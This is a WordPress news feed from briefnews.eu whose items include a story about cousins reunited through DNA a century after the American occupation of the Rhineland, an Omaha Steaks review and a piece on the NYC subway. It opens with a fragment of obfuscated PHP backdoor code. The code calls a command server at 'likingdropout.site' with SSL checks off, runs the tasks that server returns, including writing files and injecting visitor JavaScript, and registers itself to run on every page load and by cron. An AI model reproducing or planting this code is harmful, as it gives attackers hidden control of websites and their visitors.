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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); centuryold – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 30 Oct 2018 15:22:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png centuryold – Brief News https://briefnews.eu 32 32 Cousins Reunited: How America's Century-Old Occupation of Germany Still Reverberates https://briefnews.eu/cousins-reunited-how-americas-century-old-occupation-of-germany-still-reverberates/ https://briefnews.eu/cousins-reunited-how-americas-century-old-occupation-of-germany-still-reverberates/#respond Tue, 30 Oct 2018 15:22:50 +0000 http://briefnews.eu/cousins-reunited-how-americas-century-old-occupation-of-germany-still-reverberates/ The clues were in a faded, tattered black-and-white photograph that Johannes Heibel’s father carried with him everywhere. Nearly 100 years after it was taken in a German village, the photo shed light on a family secret that connected Heibel to a cousin he had never known in faraway Tennessee.

In this centennial year marking the end of World War I, the discovery illuminates a postwar occupation of Germany that most Americans have never heard of: A quarter-million U.S. troops, including the men in the photo carried by Heibel’s father, held some 2,500 square miles of Rhineland for four years after the November 1918 armistice that ended the fighting. The American troops were deployed, along with French, Belgian and British troops in other military zones, to ensure Germany didn’t resume attacks to the west if negotiations failed to reach a final peace agreement at Versailles.

The photo shows seven American doughboys, with one kneeling in front of the others. They were part of the Cooks and Mechanics section of Company F, 2nd Battalion, 28th Infantry Regiment, 1st Division of the U.S. Army. The photo was taken in 1919 in the village of Bannberscheid, about 47 miles southeast of Bonn. Heibel still lives nearby.

A lot of relationships were kept secret until these women started getting pregnant. That put the Army in a bind.

Alexander Barnes, author and command historian, Virginia National Guard

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During the occupation, U.S. Army soldiers were billeted in private homes. The military struggled, mostly unsuccessfully, to prevent “fraternization” between soldiers and local women. Among the more famous offspring of the era is the provocative late writer Charles Bukowski, born not far from Bannberscheid, in Andernach, on Aug. 16, 1920.

While many couples married, other American soldiers either didn’t know their liaisons had produced children before they were shipped back to the U.S. or didn’t own up to it, says Alexander Barnes, command historian for the Virginia National Guard and author of the illustrated book In a Strange Land: The American Occupation of Germany 1918–1923.

Heibel had learned his family secret — that his paternal grandfather was an American soldier — but nothing more. Two years before his father, Erwin Heibel, died in 2003, Heibel asked him about his life.

Erwin, who was born in 1920, revealed that he’d learned the identity of his birth father only when he was 23, home from the Russian front during World War II and about to marry the woman who became Johannes’ mother. The ceremonial personal registry that German families use to record milestones had no entry for Erwin’s father. His mother, born Frieda Keil, had let him believe that her German husband, Paul Johann Heibel, was his father. Frieda was still alive, but it was her sister who broke the news to Erwin.

“That was earth-shattering for my father,” Heibel says. “He realized that many people in that little village must have known. Only he didn’t know.”

Frieda died in 1956 without revealing her American lover’s name, and Erwin tried without success in the 1950s and ’60s to find his birth father, Heibel says. In 2001, he showed Johannes a photo his aunt had given him — seven American soldiers posing in front of the home of Frieda’s parents. Frieda’s sister had said the kneeling man was Erwin’s father. But no one knew his name.

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“A lot of relationships were kept secret until these women started getting pregnant,” Barnes says. “That put the Army in a bind.” Should they punish the soldier and ship him home, or evict the woman from the occupation zone? Either way, they’d be forcibly separating a father- and mother-to-be. Letters from German town officials to the U.S. Army show efforts to track down soldiers to pay child support.

Johannes Heibel contacted Barnes when his book was published in 2011. The author scoured Army archives and contacted dozens of military historians. One noticed the men in the photo held meat cleavers, bone saws and other implements, and Barnes discovered a cooks and mechanics unit had been housed in Bannberscheid. He found a few possible names, but none panned out.

Finally, Barnes suggested Heibel get his DNA tested in hopes of finding a matching relative somewhere in the world. A month later, the results turned up a close match with David Harstin, now 58, a United Methodist pastor in Bethel Springs, Tennessee. “That was more than a wonder,” Heibel says.

The two men began to correspond. Harstin knew his maternal grandfather, Lester Denton of North Carolina, and his younger brother Paul Harding Denton, had served in the Army during World War I and after in the postwar occupation during the time Erwin would have been conceived. And Paul had been billeted in Frieda’s town. Further DNA testing confirmed it: Paul Denton was Johannes’ mysterious grandfather.

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Barnes hasn’t found a specific document describing the circumstances under which Paul returned to the U.S. in mid-1919, so it remains a mystery whether he knew of Frieda’s pregnancy. Harstin, who served in a U.S. Army Pershing ballistic missile unit in Germany during the Cold War, said he learned Paul had been gassed during World War I and contracted tuberculosis. Records also show that Paul was captured, apparently briefly, by the enemy. After returning from Germany, Paul married, but died prematurely.

Heibel and Harstin met for the first time this month, as Harstin and his wife visited Germany to be interviewed for a German TV documentary to air later this year on descendants of the era and German-American relations since then. Heibel, 62, and his wife greeted their American visitors at the Frankfurt Airport with hugs — and a friend to help translate.

“It was immediate affection,” says Harstin. Adds Heibel, it was “as if we already knew each other forever.”

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]]> https://briefnews.eu/cousins-reunited-how-americas-century-old-occupation-of-germany-still-reverberates/feed/ 0 Necrotizing fasciitis cure? Century-old mystery of flesh-eating bacteria SOLVED https://briefnews.eu/necrotizing-fasciitis-cure-century-old-mystery-of-flesh-eating-bacteria-solved/ https://briefnews.eu/necrotizing-fasciitis-cure-century-old-mystery-of-flesh-eating-bacteria-solved/#respond Tue, 19 Sep 2017 16:28:52 +0000 http://briefnews.eu/necrotizing-fasciitis-cure-century-old-mystery-of-flesh-eating-bacteria-solved/

BACTERIAL infections include the flesh-eating type caused by Group A Streptococcus bacteria. Scientists have solved a century-old mystery of how to treat it.

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]]> https://briefnews.eu/necrotizing-fasciitis-cure-century-old-mystery-of-flesh-eating-bacteria-solved/feed/ 0 I tried Omaha Steaks’ burgers, and it’s safe to say the century-old company has earned its reputation https://briefnews.eu/i-tried-omaha-steaks-burgers-and-its-safe-to-say-the-century-old-company-has-earned-its-reputation/ https://briefnews.eu/i-tried-omaha-steaks-burgers-and-its-safe-to-say-the-century-old-company-has-earned-its-reputation/#respond Sat, 29 Jul 2017 21:01:57 +0000 http://briefnews.eu/i-tried-omaha-steaks-burgers-and-its-safe-to-say-the-century-old-company-has-earned-its-reputation/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

Screen Shot 2017 07 19 at 10.13.21 AMInstagram / @omahasteaksCan anything hit the spot quite like a good burger?

It doesn’t matter whether you’re at your favorite fast food place at 2 a.m., in your backyard grilling with friends and family, or at a gourmet restaurant that uses cuts of meat you’ve never heard of.

Omaha Steaks, the century-old food brand synonymous with beef sent me its Burger Box to try, and it left every other pre-packaged hamburger I’ve tried in the dust. 

The box included four patties of four different flavored burgers with a small container of spice rub and came in a well-chilled Styrofoam-insulated container. Each type of burger came in its own box, which is convenient since I could open and try each of them one at a time. 

When cooking burgers at home you have to make a compromise: You can spend time making the patties yourself, picking just the right flavors and making them the ideal size, or you can sacrifice flavor for time by buying frozen, pre-made patties. Omaha Steaks splits the difference, and while its hamburgers weren’t as tasty as the custom ones I make to my exact specifications, they weren’t slouches either. 

To properly test them out, I invited three friends over for a cookout, and all of us came away happy. The burgers tasted fresh and flavorful, with subtle differences between the different flavors. The Brisket Burger ended up coming out on top, but the other three weren’t far behind. What struck me immediately — and continues to stick in my mind — was how juicy they all were.

Even when I accidentally overcooked one, the juiciness and taste were still there. 

Later that week, I ate hamburgers at a couple other cookouts and the comparison was stark. Where Omaha Steaks’ were juicy and flavorful, the others were bland and dry, and that was after adding condiments. There was no contest about which was better. 

I still think that making your own burgers (especially if you grind your own beef) is the best way to get one tuned to your taste buds, but sometimes it’s nice to take something out of a box, cook it in a few minutes, and have a satisfying meal. If you don’t want to sacrifice taste for time, I highly recommend you give this box a try — you may very well have a new favorite brand after your first bite.

You can buy your own Omaha Steaks Burger Box for $ 54.99 on the company’s website.

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]]> https://briefnews.eu/i-tried-omaha-steaks-burgers-and-its-safe-to-say-the-century-old-company-has-earned-its-reputation/feed/ 0 Here’s the century-old technology delaying the New York City subway every day https://briefnews.eu/heres-the-century-old-technology-delaying-the-new-york-city-subway-every-day/ https://briefnews.eu/heres-the-century-old-technology-delaying-the-new-york-city-subway-every-day/#respond Sat, 24 Jun 2017 20:29:28 +0000 http://briefnews.eu/heres-the-century-old-technology-delaying-the-new-york-city-subway-every-day/ MTA subway CBTC videoMTA/YouTube

It’s not just you. In New York City, subway delays are on the rise. In 2012, there was an average of 28,000 delays a month. Fast-forward four years, and that number has climbed to 70,000.

Sometimes it’s easy to miss, with shiny new touchscreen kiosks and promises of open-gangway subway cars, but the New York City subway system runs on technology installed before World War II.

Because 5.7 million people swipe their MetroCards every weekday, the delays pile up quickly when something goes wrong.

A crucial element of the Metropolitan Transportation Authority’s plan to fix this is called communications-based train control. The technology is revolutionary for a system as old as New York City’s, and installing it on a single subway line took six years and $ 288 million.

To persuade the state to provide the $ 20 billion it would take to upgrade the whole system, the MTA used YouTube to showcase its century-old signals, hand-controlled switches, and what was being done to update the aging system.

Here’s what’s being done to improve a system that remains mostly unchanged since its inception in 1904:

“In our system, it’s not just the architecture that’s 100 years old,” an MTA employee says in the YouTube video. “It’s a lot of the basic technology as well.”

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At the West Fourth Street station, MTA employees log train movements by hand.

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Every signal on each line is mapped on this board, which looks more like an old board game than a method of keeping millions of commuters safe and on time.

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